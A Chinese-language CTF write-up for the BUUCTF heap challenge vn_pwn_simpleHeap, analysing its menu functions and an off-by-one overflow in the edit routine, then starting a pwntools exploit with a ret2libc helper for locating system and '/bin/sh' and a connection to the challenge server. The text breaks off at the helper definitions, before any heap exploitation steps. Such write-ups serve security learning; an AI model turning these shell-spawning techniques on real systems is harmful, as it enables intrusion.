1、靜態分析
首先libc版本是ubuntu16的2.23版本,可以去buu的資源處下載
然后checksec一下,保護全開
拖入IDA中分析
去除了符號表,通過menu函數分析出有add、edit、show、delete
1.add()
add函數分析一遍,發現沒什么漏洞,就是普普通通的輸入一個需要申請的size(空間大小),然后再向這個malloc的空間中輸入content(內容),其中size不能大於111(0x6F)。
2.edit()
edit的功能就是輸入一個index,然后修改這個index的內容。
問題出在了in(我自己重命名的)這個函數上,這個函數的功能是給prt[index]讀入Size[index]大小的內容,但是我們進入這個函數看一看
其中紅框的部分造成了off-by-one的漏洞,如果i == length那么其實會多寫入一個字節,利用這個漏洞我們可以去篡改物理相鄰的下一個chunk的size字段的最后一個字節,也就是給這個chunk的size給重寫
3.show()
show函數就是把我們想要的index的content打印出來
沒有漏洞存在
4.delete()
delete函數不僅free了ptr,還把ptr置為了NULL,不存在UAF和double free的漏洞
2、漏洞利用
分析完了上述的4種主要函數,發現能夠利用的漏洞只有edit中的off-by-one一個點。那么如何通過這一個off-by-one的漏洞來獲取shell呢?
exp如下:
from pwn import *
from LibcSearcher import *
# context.log_level="DEBUG"
def ret2libc(leak,func,path=""):
if path == "":
libc = LibcSearcher(fun,leak)
base = leak - libc.dump(func)
system = base + libc.dump("system")
binsh = base + libc.dump("str_bin_sh")
else:
libc = ELF(path)
libc.address = leak - libc.sym[func]
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b"\x00"))
uu64 = lambda data : u64(data.ljust(8,b"\x00"))
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
# io = process("./vn_pwn_simpleHeap")
io = remote("node4.buuoj.cn",27610)
elf = ELF("./vn_pwn_simpleHeap")
libc = ELF("./libc-2.23.so")
def add(size,content="a"):
sla(":","1")
sla("?",str(size))
sa(":",content)
def edit(index,content):
sla(":","2")
sla("?",str(index))
sla(":",content)
def show(index):
sla(":","3")
sla("?",str(index))
def free(index):
sla(":","4")